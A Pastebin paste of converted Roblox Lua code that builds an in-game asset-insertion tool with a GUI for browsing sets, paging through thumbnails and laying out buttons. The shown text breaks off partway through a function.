lolita5432

Untitled

Jan 21st, 2018
281
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 57.63 KB | None | 0 0
  1.  
  2. --Converted with ttyyuu12345's model to script plugin v4
  3. function sandbox(var,func)
  4. local env = getfenv(func)
  5. local newenv = setmetatable({},{
  6. __index = function(self,k)
  7. if k=="script" then
  8. return var
  9. else
  10. return env[k]
  11. end
  12. end,
  13. })
  14. setfenv(func,newenv)
  15. return func
  16. end
  17. cors = {}
  18. mas = Instance.new("Model",game:GetService("Lighting"))
  19. Tool0 = Instance.new("Tool")
  20. LocalScript1 = Instance.new("LocalScript")
  21. ObjectValue2 = Instance.new("ObjectValue")
  22. Part3 = Instance.new("Part")
  23. SpecialMesh4 = Instance.new("SpecialMesh")
  24. Sound5 = Instance.new("Sound")
  25. Sound6 = Instance.new("Sound")
  26. Sound7 = Instance.new("Sound")
  27. Sound8 = Instance.new("Sound")
  28. Sound9 = Instance.new("Sound")
  29. Fire10 = Instance.new("Fire")
  30. Script11 = Instance.new("Script")
  31. Sound12 = Instance.new("Sound")
  32. Script13 = Instance.new("Script")
  33. ObjectValue14 = Instance.new("ObjectValue")
  34. Script15 = Instance.new("Script")
  35. Script16 = Instance.new("Script")
  36. Script17 = Instance.new("Script")
  37. Script18 = Instance.new("Script")
  38. Tool0.Name = "BuildInsert"
  39. Tool0.Parent = mas
  40. Tool0.TextureId = "rbxasset://icons/insert.png"
  41. Tool0.GripForward = Vector3.new(-1, 0, -0)
  42. Tool0.GripPos = Vector3.new(0.600000024, 0.200000003, 0)
  43. Tool0.GripRight = Vector3.new(0, 0, -1)
  44. LocalScript1.Name = "Insert Local"
  45. LocalScript1.Parent = Tool0
  46. table.insert(cors,sandbox(LocalScript1,function()
  47. local Tool = script.Parent
  48.  
  49. --game:GetService("InsertService"):SetCollectionUrl("http://test.roblox.com/Game/Tools/insertasset.ashx?sid=%d")
  50. --game:GetService("InsertService"):SetBaseCategoryUrl("http://test.roblox.com/Game/Tools/insertasset.ashx?nsets=10")
  51. --game:GetService("InsertService"):SetAssetUrl("http://test.roblox.com/Asset/?id=%d")
  52.  
  53. enabled = true
  54. local origTexture = Tool.TextureId
  55. game:GetService("ContentProvider"):Preload("rbxasset://icons/insert_sel.png")
  56.  
  57. local height = 20
  58. local width = UDim.new(0.25, 0)
  59. local height = 20
  60. local buttonTransparency = 0.1
  61. local insertButtonTransparency = 0.25
  62. local transparency = 0.25
  63.  
  64. local selectedButtonColor = Color3.new(.1255, .4078, .1961)
  65. local selectedButtonTextColor = Color3.new(1.0,1.0,1.0)
  66.  
  67. local buttonColor = Color3.new(0.0898, 0.2148, .2344)
  68. local buttonTextColor = Color3.new(1.0,1.0,1.0)
  69.  
  70. local frameColor = Color3.new(.1255, .4078, .1961)
  71. local frameTextColor = Color3.new(1.0,1.0,1.0)
  72.  
  73. local titleColor = Color3.new(0.6289, 0.8398, 0)
  74. local titleTextColor = Color3.new(0.0,0.0,0.0)
  75.  
  76. local Window
  77. local Data
  78. local Mouse
  79.  
  80. local SetCache = {}
  81.  
  82. local soloGame = game:FindFirstChild("NetworkClient") == nil
  83.  
  84. --Constants
  85. local useAssetVersionId = true
  86. local BaseUrl = game:GetService("ContentProvider").BaseUrl
  87. local ThumbnailUrl;
  88. if useAssetVersionId then
  89. ThumbnailUrl = BaseUrl .. "Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=110&ht=110&assetversionid="
  90. else
  91. ThumbnailUrl = BaseUrl .. "Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=110&ht=110&aid="
  92. end
  93.  
  94. local InsertRows = 4
  95. local InsertColumns = 8
  96.  
  97. --Static variables used for creating sizes
  98. function getPlayer()
  99. local character = script.Parent.Parent
  100. return game.Players:GetPlayerFromCharacter(character)
  101. end
  102.  
  103. function minimize()
  104. if Window.Stamp.Frame.Visible then
  105. cancelAssetPlacement()
  106. elseif Window.Main.Frame.Visible then
  107. Window.Main.Frame.Visible = false
  108. Window.Minimized.Frame.Visible = true
  109. end
  110. end
  111.  
  112. function buildImageButton(image)
  113. local buttonFrame = Instance.new("Frame")
  114. buttonFrame.BackgroundTransparency = 1.0
  115.  
  116. local button = Instance.new("ImageButton")
  117. button.Name = "Button"
  118. button.Parent = buttonFrame
  119. button.Image = image
  120. button.Size = UDim2.new(1.0, 0, 1.0, 0)
  121. button.Position = UDim2.new(0.0, 0, 0.0, 0)
  122. button.BorderSizePixel = 1
  123. button.Parent = buttonFrame
  124. button.BackgroundTransparency = 0
  125.  
  126. return buttonFrame
  127.  
  128. end
  129. function buildTextButton(text)
  130.  
  131. local buttonFrame = Instance.new("Frame")
  132. buttonFrame.BackgroundTransparency = 1.0
  133. local button = Instance.new("TextButton")
  134. button.Name = "Button"
  135. button.Parent = buttonFrame
  136. button.Text = text
  137. button.Size = UDim2.new(1.0, 0, 1.0, 0)
  138. button.TextWrap = true
  139. button.Position = UDim2.new(0.0, 0, 0.0, 0)
  140. button.BorderSizePixel = 1
  141. button.BackgroundTransparency = buttonTransparency
  142. button.Parent = buttonFrame
  143.  
  144. return buttonFrame
  145. end
  146.  
  147. function mouseEnterInsertButton(insertFrame)
  148. if insertFrame ~= Data.CurrentRolloverInsertButton then
  149. insertFrame.Button.Transparency = 0.0
  150. Data.CurrentRolloverInsertButton = insertFrame
  151. Window.Main.RolloverText.Text = Data.CurrentRolloverInsertButton.AssetName.Value
  152. end
  153. end
  154.  
  155. function mouseLeaveInsertButton(insertFrame)
  156. if insertFrame == Data.CurrentRolloverInsertButton then
  157. Window.Main.RolloverText.Text = ""
  158. Data.CurrentRolloverInsertButton = nil
  159.  
  160. end
  161. insertFrame.Button.Transparency = insertButtonTransparency
  162. end
  163.  
  164. function buildInsertButton(position, size)
  165. local insertFrame = buildImageButton("")
  166. insertFrame.Name = "InsertAssetButton"
  167. insertFrame.Position = position
  168. insertFrame.Size = size
  169. insertFrame.Button.BackgroundColor3 = Color3.new(1.0,1.0,1.0)
  170. insertFrame.Button.Transparency = insertButtonTransparency
  171. insertFrame.Visible = false
  172.  
  173. local assetId = Instance.new("IntValue")
  174. assetId.Name = "AssetId"
  175. assetId.Value = -1
  176. assetId.Parent = insertFrame
  177.  
  178. local assetName = Instance.new("StringValue")
  179. assetName.Name = "AssetName"
  180. assetName.Value = ""
  181. assetName.Parent = insertFrame
  182.  
  183. insertFrame.Button.MouseButton1Click:connect(function() mouseLeaveInsertButton(insertFrame) beginInsertAsset(insertFrame.AssetName.Value, insertFrame.AssetId.Value, insertFrame.Button.Image, false) end)
  184. insertFrame.Button.MouseButton2Click:connect(function() mouseLeaveInsertButton(insertFrame) beginInsertAsset(insertFrame.AssetName.Value, insertFrame.AssetId.Value, insertFrame.Button.Image, true) end)
  185. insertFrame.Button.MouseEnter:connect(function() mouseEnterInsertButton(insertFrame) end)
  186. insertFrame.Button.MouseLeave:connect(function() mouseLeaveInsertButton(insertFrame) end)
  187.  
  188. return insertFrame
  189. end
  190.  
  191. function setInsertButtonImageBehavior(insertFrame, visible, name, assetId)
  192. if visible then
  193. insertFrame.AssetName.Value = name
  194. insertFrame.AssetId.Value = assetId
  195. insertFrame.Button.Image = ThumbnailUrl .. assetId
  196. insertFrame.Button.BackgroundColor3 = Color3.new(1.0,1.0,1.0)
  197. insertFrame.Visible = true
  198. else
  199. insertFrame.Visible = false
  200. end
  201. end
  202.  
  203. function mouseEnterSetButton(setFrame)
  204. if setFrame.Button.AutoButtonColor then
  205. setFrame.Button.Icon.Transparency = 0.0
  206. end
  207. end
  208. function mouseLeaveSetButton(setFrame)
  209. if setFrame.Button.AutoButtonColor then
  210. setFrame.Button.Icon.Transparency = insertButtonTransparency
  211. end
  212. end
  213.  
  214. function buildSetButton(name, setId, setImageId, i, count)
  215. local buttonFrame = buildTextButton("")
  216. buttonFrame.Name = "SetButton"
  217. buttonFrame.Size = UDim2.new(1.0, 0, 0.0, height*2)
  218. buttonFrame.Position = UDim2.new(0.0, 0, 0.0, (i-1)*height*2)
  219. buttonFrame.Button.BackgroundColor3 = buttonColor
  220. buttonFrame.Button.TextColor3 = buttonTextColor
  221. buttonFrame.Visible = false
  222.  
  223. local setNameLabel = Instance.new("TextLabel")
  224. setNameLabel.Name = "Name"
  225. setNameLabel.Text = name
  226. setNameLabel.TextColor3 = buttonTextColor
  227. setNameLabel.BackgroundTransparency = 1.0
  228. setNameLabel.Size = UDim2.new(1.0, -height*2, 1.0, 0.0)
  229. setNameLabel.Position = UDim2.new(0.0, height*2, 0.0, 0)
  230. setNameLabel.TextWrap = true
  231. setNameLabel.TextXAlignment = Enum.TextXAlignment.Left
  232. setNameLabel.Parent = buttonFrame.Button
  233.  
  234. local iconLabel = Instance.new("ImageLabel")
  235. iconLabel.Name = "Icon"
  236. iconLabel.Image = BaseUrl .. "asset/?id=" .. setImageId
  237. iconLabel.Size = UDim2.new(0.0, height*2 - 4, 0.0, height*2 -4)
  238. iconLabel.Position = UDim2.new(0.0, 2, 0.0, 2)
  239. iconLabel.Transparency = insertButtonTransparency
  240. iconLabel.Parent = buttonFrame.Button
  241.  
  242. local setValue = Instance.new("IntValue")
  243. setValue.Name = "SetId"
  244. setValue.Value = setId
  245. setValue.Parent = buttonFrame
  246.  
  247. local setName = Instance.new("StringValue")
  248. setName.Name = "SetName"
  249. setName.Value = name
  250. setName.Parent = buttonFrame
  251.  
  252. buttonFrame.Button.MouseButton1Click:connect(function() selectSet(buttonFrame, buttonFrame.SetName.Value, buttonFrame.SetId.Value, 0) end)
  253. buttonFrame.Button.MouseEnter:connect(function() mouseEnterSetButton(buttonFrame) end)
  254. buttonFrame.Button.MouseLeave:connect(function() mouseLeaveSetButton(buttonFrame) end)
  255.  
  256. --print("Built button " .. i .. " SetId=" .. setId .. " SetName=" .. name)
  257.  
  258. return buttonFrame
  259. end
  260.  
  261. function previousSetPage()
  262. local newIndex = math.max(1, Data.Category[Data.CurrentCategory].Index - (Data.Main.InsertRows * Data.Main.InsertColumns))
  263. setSetIndex(newIndex)
  264. end
  265.  
  266. function nextSetPage()
  267. local newIndex = math.max(0, Data.Category[Data.CurrentCategory].Index + (Data.Main.InsertRows * Data.Main.InsertColumns))
  268. setSetIndex(newIndex)
  269. end
  270.  
  271. function setSetIndex(dataOffset)
  272. Data.Category[Data.CurrentCategory].Index = dataOffset
  273.  
  274. local PageSize = Data.Main.InsertRows*Data.Main.InsertColumns
  275. local contents = Data.Category[Data.CurrentCategory].Contents
  276. if contents then
  277. for index = 1, PageSize do
  278. if Data.InsertButtons[index] then
  279. if contents[index + dataOffset] then
  280. --for key, value in pairs(contents[index+dataOffset]) do
  281. -- print("key=" .. key .. ", value=" .. value)
  282. --end
  283.  
  284. local assetId
  285. if useAssetVersionId then
  286. assetId = contents[index + dataOffset].AssetVersionId
  287. else
  288. assetId = contents[index + dataOffset].AssetId
  289. end
  290. setInsertButtonImageBehavior(Data.InsertButtons[index], true, contents[index + dataOffset].Name, assetId)
  291. else
  292. setInsertButtonImageBehavior(Data.InsertButtons[index], false)
  293. end
  294. end
  295. end
  296. Window.Main.PreviousPageButton.Visible = dataOffset > 0
  297. Window.Main.NextPageButton.Visible = (dataOffset + PageSize) < (#contents)
  298. else
  299. Window.Main.PreviousPageButton.Visible = false
  300. Window.Main.NextPageButton.Visible = false
  301. end
  302. end
  303.  
  304. function previousCategoryPage()
  305. local newIndex = math.max(0, Data.Category[Data.CurrentCategory].SetIndex - Data.Main.InsertSets)
  306. setCategoryIndex(newIndex)
  307. end
  308.  
  309. function nextCategoryPage()
  310. local newIndex = math.max(0, Data.Category[Data.CurrentCategory].SetIndex + Data.Main.InsertSets)
  311. setCategoryIndex(newIndex)
  312. end
  313.  
  314. function setCategoryIndex(setIndex)
  315. Data.Category[Data.CurrentCategory].SetIndex = setIndex
  316. --This is how many vertical items we can display
  317.  
  318. --Layout all buttons in this setoh
  319. if #Data.CurrentCategory > Data.Main.InsertSets then
  320. --Steal one for use by the layout buttons, when it rains it pours
  321.  
  322. --We can't fit all the buttons
  323. local heightUsed = 0
  324.  
  325. local index = 1
  326. if index < setIndex then
  327. heightUsed = height
  328. Window.Main.PreviousSetButton.Visible = true
  329. while index < setIndex do
  330. Data.CurrentCategory[index].Visible = false
  331. index = index + 1
  332. end
  333. else
  334. Window.Main.PreviousSetButton.Visible = false
  335. end
  336.  
  337. local offset = 0
  338. while offset < Data.Main.InsertSets and index + offset <= #Data.CurrentCategory do
  339. Data.CurrentCategory[index + offset].Size = UDim2.new(1.0, 0, 0.0, height*2)
  340. Data.CurrentCategory[index + offset].Position = UDim2.new(0.0, 0, 0.0, height*2*offset + heightUsed)
  341. Data.CurrentCategory[index + offset].Visible = true
  342. offset = offset + 1
  343. end
  344. index = index + offset
  345. heightUsed = heightUsed + Data.Main.InsertSets*height*2
  346.  
  347. if index <= #Data.CurrentCategory then
  348. Window.Main.NextSetButton.Position = UDim2.new(0.0, 0, 0.0, heightUsed)
  349. Window.Main.NextSetButton.Size = UDim2.new(1.0, 0, 1.0, -heightUsed)
  350. Window.Main.NextSetButton.Visible = true
  351. while index <= #Data.CurrentCategory do
  352. Data.CurrentCategory[index].Visible = false
  353. index = index + 1
  354. end
  355. else
  356. Window.Main.NextSetButton.Visible = false
  357. end
  358. --Window.Main.Frame.SetTab.SetFiller.Size = UDim2.new(0.0, 0, 0.0, 0)
  359. else
  360. Window.Main.PreviousSetButton.Visible = false
  361. Window.Main.NextSetButton.Visible = false
  362.  
  363. for key, buttonFrame in pairs(Data.CurrentCategory) do
  364. buttonFrame.Size = UDim2.new(1.0, 0, 0.0, height*2)
  365. buttonFrame.Position = UDim2.new(0.0, 0, 0.0, height*2*(key-1))
  366. buttonFrame.Visible = true
  367. end
  368.  
  369. --Then expand this to fill the remaining space at the bottom
  370. --Window.Main.Frame.SetTab.SetFiller.Position = UDim2.new(0.0, 0, 0.0, height*2*#Data.CurrentCategory)
  371. --Window.Main.Frame.SetTab.SetFiller.Size = UDim2.new(1.0, 0, 0.0, frameHeight - height*2*#Data.CurrentCategory)
  372. end
  373. end
  374.  
  375. function selectCategoryPage(buttons, page)
  376. if buttons ~= Data.CurrentCategory then
  377. if Data.CurrentCategory then
  378. for key, button in pairs(Data.CurrentCategory) do
  379. button.Visible = false
  380. end
  381. end
  382.  
  383. Data.CurrentCategory = buttons
  384. if Data.Category[Data.CurrentCategory] == nil then
  385. Data.Category[Data.CurrentCategory] = {}
  386. if #buttons > 0 then
  387. selectSet(buttons[1], buttons[1].SetName.Value, buttons[1].SetId.Value, 0)
  388. end
  389. else
  390. Data.Category[Data.CurrentCategory].Button = nil
  391. selectSet(Data.Category[Data.CurrentCategory].ButtonFrame, Data.Category[Data.CurrentCategory].SetName, Data.Category[Data.CurrentCategory].SetId, Data.Category[Data.CurrentCategory].Index)
  392. end
  393. if Data.Main.FrameHeight then
  394. if Data.Category[Data.CurrentCategory].SetIndex then
  395. layoutSetButtons(Data.Main.FrameHeight, Data.Category[Data.CurrentCategory].SetIndex)
  396. else
  397. layoutSetButtons(Data.Main.FrameHeight, 1)
  398. end
  399. end
  400.  
  401.  
  402. end
  403. end
  404. function filterSet(set)
  405. if soloGame then
  406. return set
  407. end
  408.  
  409. local result = {}
  410. for pos, object in pairs(set) do
  411. if object.IsTrusted then
  412. result[#result+1] = object
  413. end
  414. end
  415. return result
  416. end
  417. function selectSet(buttonFrame, setName, setId, setIndex)
  418. if buttonFrame then
  419. if buttonFrame.Button ~= Data.Category[Data.CurrentCategory].Button then
  420. if Data.Category[Data.CurrentCategory].Button ~= nil then
  421. Data.Category[Data.CurrentCategory].Button.BackgroundColor3 = buttonColor
  422. Data.Category[Data.CurrentCategory].Button.TextColor3 = buttonTextColor
  423. Data.Category[Data.CurrentCategory].Button.Icon.Transparency = insertButtonTransparency
  424. Data.Category[Data.CurrentCategory].Button.AutoButtonColor = true
  425. end
  426.  
  427. Data.Category[Data.CurrentCategory].Button = buttonFrame.Button
  428. Data.Category[Data.CurrentCategory].Button.BackgroundColor3 = selectedButtonColor
  429. Data.Category[Data.CurrentCategory].Button.TextColor3 = selectedButtonTextColor
  430. Data.Category[Data.CurrentCategory].Button.Icon.Transparency = 0.0
  431. Data.Category[Data.CurrentCategory].Button.AutoButtonColor = false
  432.  
  433. if SetCache[setId] == nil then
  434. SetCache[setId] = filterSet(game:GetService("InsertService"):GetCollection(setId))
  435. end
  436. Data.Category[Data.CurrentCategory].Contents = SetCache[setId]
  437. Window.Main.Title.Text = setName
  438.  
  439. Data.Category[Data.CurrentCategory].SetName = setName
  440. Data.Category[Data.CurrentCategory].SetId = setId
  441. Data.Category[Data.CurrentCategory].ButtonFrame = buttonFrame
  442. end
  443.  
  444. setSetIndex (setIndex)
  445. end
  446. end
  447.  
  448. function selectCategory(button, category)
  449. if Data.CurrentCategory ~= category then
  450. if Data.CurrentCategoryButton then
  451. Data.CurrentCategoryButton.BackgroundColor3 = buttonColor
  452. Data.CurrentCategoryButton.TextColor3 = buttonTextColor
  453. Data.CurrentCategoryButton.AutoButtonColor = true
  454. end
  455. end
  456. selectCategoryPage(category, 0)
  457.  
  458. Data.CurrentCategoryButton = button
  459. Data.CurrentCategoryButton.BackgroundColor3 = selectedButtonColor
  460. Data.CurrentCategoryButton.TextColor3 = selectedButtonTextColor
  461. Data.CurrentCategoryButton.AutoButtonColor = false
  462. end
  463.  
  464. function processCategory(sets, setPanel)
  465. local setButtons = {}
  466. for index, object in pairs(sets) do
  467. --for key, value in pairs(object) do
  468. -- print("key=" .. key .. ", value=" .. value)
  469. --end
  470. setButtons[index] = buildSetButton(object.Name, object.CategoryId, object.ImageAssetId, index, #sets)
  471. setButtons[index].Parent = setPanel
  472. end
  473. return setButtons
  474. end
  475.  
  476. function buildMainGui(root, userId)
  477. Window.Main = {}
  478. Data.Main = {}
  479. Data.Category = {}
  480.  
  481. local mainFrame = Instance.new("Frame")
  482. mainFrame.Name = "InsertMainDialog"
  483. mainFrame.Position = UDim2.new(0.0, 0, 0.25, 0)
  484. mainFrame.Size = UDim2.new(0.75, 0, 0.75, 0)
  485. mainFrame.Transparency = 1.0
  486. mainFrame.Active = true
  487. mainFrame.Parent = root
  488. Window.Main.Frame = mainFrame
  489.  
  490. local setTab = Instance.new("Frame")
  491. setTab.Position = UDim2.new(0.0, 0, 0.0, 0)
  492. setTab.Size = UDim2.new(0.15, 0, 1.0, 0)
  493. setTab.BackgroundTransparency = 1.0
  494. setTab.Name = "SetTab"
  495. setTab.Parent = mainFrame
  496.  
  497. local setPanel = Instance.new("Frame")
  498. setPanel.Position = UDim2.new(0.0, 0, 0.0, 0)
  499. setPanel.Size = UDim2.new(1.0, 0, 1.0, 0)
  500. setPanel.BackgroundTransparency = 1.0
  501. setPanel.Name = "SetPanel"
  502. setPanel.Parent = setTab
  503.  
  504. local setFiller = Instance.new("Frame")
  505. setFiller.Name = "SetFiller"
  506. setFiller.Size = UDim2.new(0.0, 0, 0.0, 0)
  507. setFiller.Position = UDim2.new(0.0, 0, 0.0, 0)
  508. setFiller.BackgroundColor3 = frameColor
  509. setFiller.BackgroundTransparency = transparency*.5
  510. setFiller.Parent = setTab
  511.  
  512. local previousSetButton = Instance.new("TextButton")
  513. previousSetButton.Name = "PreviousSetButton"
  514. previousSetButton.Size = UDim2.new(1.0, 0, 0, height)
  515. previousSetButton.Position = UDim2.new(0.0, 0, 0.0, 0)
  516. previousSetButton.BackgroundColor3 = buttonColor
  517. previousSetButton.TextColor3 = buttonTextColor
  518. previousSetButton.BackgroundTransparency = transparency
  519. previousSetButton.Text = "..."
  520. previousSetButton.MouseButton1Click:connect(previousCategoryPage)
  521. previousSetButton.Parent = setTab
  522. previousSetButton.Visible = false
  523. Window.Main.PreviousSetButton = previousSetButton
  524.  
  525. local nextSetButton = Instance.new("TextButton")
  526. nextSetButton.Name = "NextSetButton"
  527. nextSetButton.Size = UDim2.new(1.0, 0, 0.0, height)
  528. nextSetButton.Position = UDim2.new(0.0, 0, 1.0, -height)
  529. nextSetButton.BackgroundColor3 = buttonColor
  530. nextSetButton.TextColor3 = buttonTextColor
  531. nextSetButton.BackgroundTransparency = transparency
  532. nextSetButton.Text = "..."
  533. nextSetButton.MouseButton1Click:connect(nextCategoryPage)
  534. nextSetButton.Parent = setTab
  535. nextSetButton.Visible = false
  536. Window.Main.NextSetButton = nextSetButton
  537.  
  538. local insertTab = Instance.new("Frame")
  539. insertTab.Name = "InsertTab"
  540. insertTab.Position = UDim2.new(0.15, 0, 0.0, 0)
  541. insertTab.Size = UDim2.new(0.85, 0, 1.0, 0)
  542. insertTab.BackgroundTransparency = 1.0
  543. insertTab.Parent = mainFrame
  544.  
  545. Data.BaseCategoryButtons = processCategory(game:GetService("InsertService"):GetBaseCategories(), setPanel)
  546. local userData = game:GetService("InsertService"):GetUserCategories(userId)
  547. if userData then
  548. Data.UserCategoryButtons = processCategory(userData, setPanel)
  549.  
  550. local userCategoryButton = Instance.new("TextButton")
  551. userCategoryButton.Name = "UserCategoryButton"
  552. userCategoryButton.Size = UDim2.new(0.25, 0, 0, height)
  553. userCategoryButton.Position = UDim2.new(0.25, 0, 0.0, -height)
  554. userCategoryButton.BackgroundColor3 = buttonColor
  555. userCategoryButton.TextColor3 = buttonTextColor
  556. userCategoryButton.BackgroundTransparency = transparency*.5
  557. userCategoryButton.Text = "User Sets"
  558. userCategoryButton.MouseButton1Click:connect(function() selectCategory(userCategoryButton, Data.UserCategoryButtons) end)
  559. userCategoryButton.Parent = insertTab
  560. end
  561. --Data.UserCategoryButtons = processCategory(game:GetService("InsertService"):GetBaseCategories(), setPanel)
  562.  
  563. local baseCategoryButton = Instance.new("TextButton")
  564. baseCategoryButton.Name = "RobloxCategoryButton"
  565. baseCategoryButton.Size = UDim2.new(0.25, 0, 0, height)
  566. baseCategoryButton.Position = UDim2.new(0.0, 0, 0.0, -height)
  567. baseCategoryButton.BackgroundColor3 = buttonColor
  568. baseCategoryButton.TextColor3 = buttonTextColor
  569. baseCategoryButton.BackgroundTransparency = transparency *.5
  570. baseCategoryButton.Text = "Roblox Sets"
  571. baseCategoryButton.MouseButton1Click:connect(function() selectCategory(baseCategoryButton, Data.BaseCategoryButtons) end)
  572. baseCategoryButton.Parent = insertTab
  573.  
  574. local titleFrame = Instance.new("TextLabel")
  575. titleFrame.Name = "Title"
  576. titleFrame.Position = UDim2.new(0.0, 0, 0.0, 0)
  577. titleFrame.Size = UDim2.new(1.0, 0, 0.0, height)
  578. titleFrame.TextWrap = true
  579. titleFrame.BackgroundColor3 = titleColor
  580. titleFrame.TextColor3 = titleTextColor
  581. titleFrame.BackgroundTransparency = .1
  582. titleFrame.Text = "Set Foo"
  583. titleFrame.Parent = insertTab
  584. Window.Main.Title = titleFrame
  585.  
  586. local minimizeButton = Instance.new("ImageButton")
  587. minimizeButton.Name = "Minimize"
  588. minimizeButton.Position = UDim2.new(1.0, -height + 1, 0.0, 1)
  589. minimizeButton.Size = UDim2.new(0.0, height-2, 0.0, height-2)
  590. minimizeButton.Image = BaseUrl .. "asset?id=20889725"
  591. minimizeButton.MouseButton1Click:connect(minimize)
  592. minimizeButton.Parent = titleFrame
  593.  
  594. local insertPanel = Instance.new("Frame")
  595. insertPanel.Name = "InsertPanel"
  596. insertPanel.Position = UDim2.new(0.0, 0, 0.0, height)
  597. insertPanel.Size = UDim2.new(1.0, 0, 1.0, -2*height)
  598. insertPanel.BackgroundColor3 = frameColor
  599. insertPanel.BackgroundTransparency = transparency
  600. insertPanel.Parent = insertTab
  601.  
  602. local footerPanel = Instance.new("Frame")
  603. footerPanel.Name = "Footer"
  604. footerPanel.Size = UDim2.new(1.0, 0, 0, height)
  605. footerPanel.Position = UDim2.new(0.0, 0, 1.0, -height)
  606. footerPanel.BackgroundTransparency = transparency
  607. footerPanel.BackgroundColor3 = frameColor
  608. footerPanel.Parent = insertTab
  609.  
  610. local rolloverText = Instance.new("TextLabel")
  611. rolloverText.Name = "RolloverText"
  612. rolloverText.Size = UDim2.new(0.8, 0, 1.0, 0)
  613. rolloverText.Position = UDim2.new(0.1, 0, 0.0, 0)
  614. rolloverText.TextColor3 = frameTextColor
  615. rolloverText.BackgroundColor3 = frameColor
  616. rolloverText.BackgroundTransparency = transparency
  617. rolloverText.Text = ""
  618. rolloverText.TextWrap = true
  619. rolloverText.Parent = footerPanel
  620. Window.Main.RolloverText = rolloverText
  621.  
  622. local previousButton = Instance.new("TextButton")
  623. previousButton.Name = "PreviousPageButton"
  624. previousButton.Size = UDim2.new(0.1, 0, 1.0, 0)
  625. previousButton.Position = UDim2.new(0.0, 0, 0.0, 0)
  626. previousButton.BackgroundColor3 = buttonColor
  627. previousButton.TextColor3 = buttonTextColor
  628. previousButton.BackgroundTransparency = transparency
  629. previousButton.Text = "<--"
  630. previousButton.MouseButton1Click:connect(previousSetPage)
  631. previousButton.Parent = footerPanel
  632. previousButton.Visible = false
  633. Window.Main.PreviousPageButton = previousButton
  634.  
  635. local nextButton = Instance.new("TextButton")
  636. nextButton.Name = "NextPageButton"
  637. nextButton.Size = UDim2.new(0.1, 0, 1.0, 0)
  638. nextButton.Position = UDim2.new(0.9, 0, 0.0, 0)
  639. nextButton.BackgroundColor3 = buttonColor
  640. nextButton.TextColor3 = buttonTextColor
  641. nextButton.BackgroundTransparency = transparency
  642. nextButton.Text = "-->"
  643. nextButton.MouseButton1Click:connect(nextSetPage)
  644. nextButton.Parent = footerPanel
  645. nextButton.Visible = false
  646. Window.Main.NextPageButton = nextButton
  647.  
  648. local insertButtons = {}
  649. for y = 1, InsertRows do
  650. for x = 1, InsertColumns do
  651. insertButtons[x + (y - 1) * InsertColumns] = buildInsertButton(UDim2.new(.125*(x-1), 2, 0.25*(y-1), 2), UDim2.new(.125, -4, .25, -4))
  652. insertButtons[x + (y - 1) * InsertColumns].Parent = insertPanel
  653. end
  654. end
  655. Data.InsertButtons = insertButtons
  656. Data.Main.InsertRows = InsertRows
  657. Data.Main.InsertColumns = InsertColumns
  658.  
  659. selectCategory(baseCategoryButton, Data.BaseCategoryButtons)
  660. end
  661.  
  662. function layoutInsertButtons(guiMain)
  663. local size = guiMain.AbsoluteSize
  664.  
  665. local frameSize = 0.75 * size
  666. local frameSizeUsed = Vector2.new(0, height*2)
  667.  
  668. --We want 15% or 100 pixels, which ever is smaller
  669. if frameSize.x * .15 < 100 then
  670. local oldSize = Window.Main.Frame.SetTab.Size
  671. Window.Main.Frame.SetTab.Size = UDim2.new(0.0, 100, oldSize.Y.Scale, oldSize.Y.Offset)
  672. Window.Main.Frame.InsertTab.Position = UDim2.new(0.0, 100, 0.0, 0)
  673. frameSizeUsed = Vector2.new(frameSizeUsed.x + 100, frameSizeUsed.y)
  674. else
  675. local oldSize = Window.Main.Frame.SetTab.Size
  676. Window.Main.Frame.SetTab.Size = UDim2.new(0.15, 0, oldSize.Y.Scale, oldSize.Y.Offset)
  677. Window.Main.Frame.InsertTab.Position = UDim2.new(0.15, 0, 0.0, 0)
  678. frameSizeUsed = Vector2.new(frameSizeUsed.x + .15*frameSize.x, frameSizeUsed.y)
  679. end
  680.  
  681. --Decide how many buttons we can fit, and what size to make the insert buttons
  682. --2 sizes of insert buttons, 50x50 and 100x100
  683.  
  684. local buttonSize = 110
  685. while buttonSize > 70 and math.floor((frameSize - frameSizeUsed).x/buttonSize) * math.floor((frameSize - frameSizeUsed).y/buttonSize) < 32 do
  686. buttonSize = buttonSize - 10
  687. end
  688.  
  689. Data.Main.InsertColumns = math.min(math.max(1, math.floor((frameSize - frameSizeUsed).x/buttonSize)), InsertColumns)
  690. Data.Main.InsertRows = math.min(math.max(1, math.floor((frameSize - frameSizeUsed).y/buttonSize)), InsertRows)
  691.  
  692. for index, button in pairs(Data.InsertButtons) do
  693. if index <= Data.Main.InsertRows * Data.Main.InsertColumns then
  694. button.Visible = true
  695. button.Size = UDim2.new(0, buttonSize-4, 0, buttonSize-4)
  696. button.Position = UDim2.new(0, buttonSize * ((index-1)%Data.Main.InsertColumns) + 2 + 2,
  697. 0, buttonSize * math.floor((index-1)/Data.Main.InsertColumns) + 2 + 2)
  698. else
  699. button.Visible = false
  700. end
  701. end
  702. Window.Main.Frame.InsertTab.Size = UDim2.new(0.0, buttonSize * Data.Main.InsertColumns + 4, 0.0, buttonSize * Data.Main.InsertRows + height*2 + 4)
  703.  
  704. if Data.Category[Data.CurrentCategory].Index == nil then
  705. setSetIndex(0)
  706. else
  707. setSetIndex(Data.Category[Data.CurrentCategory].Index)
  708. end
  709.  
  710. local finalFrameHeight = frameSizeUsed.y + Data.Main.InsertRows*buttonSize + 4
  711. Window.Main.Frame.Size = UDim2.new(0, frameSizeUsed.x + Data.Main.InsertColumns*buttonSize + 4, 0, finalFrameHeight)
  712. Window.Main.Frame.Position = UDim2.new(0.0, 0, 1.0, -Window.Main.Frame.Size.Y.Offset)
  713.  
  714. if Data.Category[Data.CurrentCategory].SetIndex == nil then
  715. layoutSetButtons(finalFrameHeight, 1)
  716. else
  717. layoutSetButtons(finalFrameHeight, Data.Category[Data.CurrentCategory].SetIndex)
  718. end
  719. end
  720.  
  721. function layoutSetButtons(frameHeight, setIndex)
  722. Data.Main.FrameHeight = frameHeight
  723. Data.Main.InsertSets = math.floor(frameHeight / (height*2))
  724. if #Data.CurrentCategory > Data.Main.InsertSets then
  725. --Steal one entry since we have two many things
  726. Data.Main.InsertSets = Data.Main.InsertSets - 1
  727. end
  728.  
  729. print("Layout Set Buttons index=" .. setIndex .. ", InsertSets="..Data.Main.InsertSets)
  730.  
  731. setCategoryIndex(setIndex)
  732. end
  733.  
  734.  
  735. function insertComplete()
  736. Window.Loading.Frame.Visible = false
  737. Window.Stamp.Frame.Visible = false
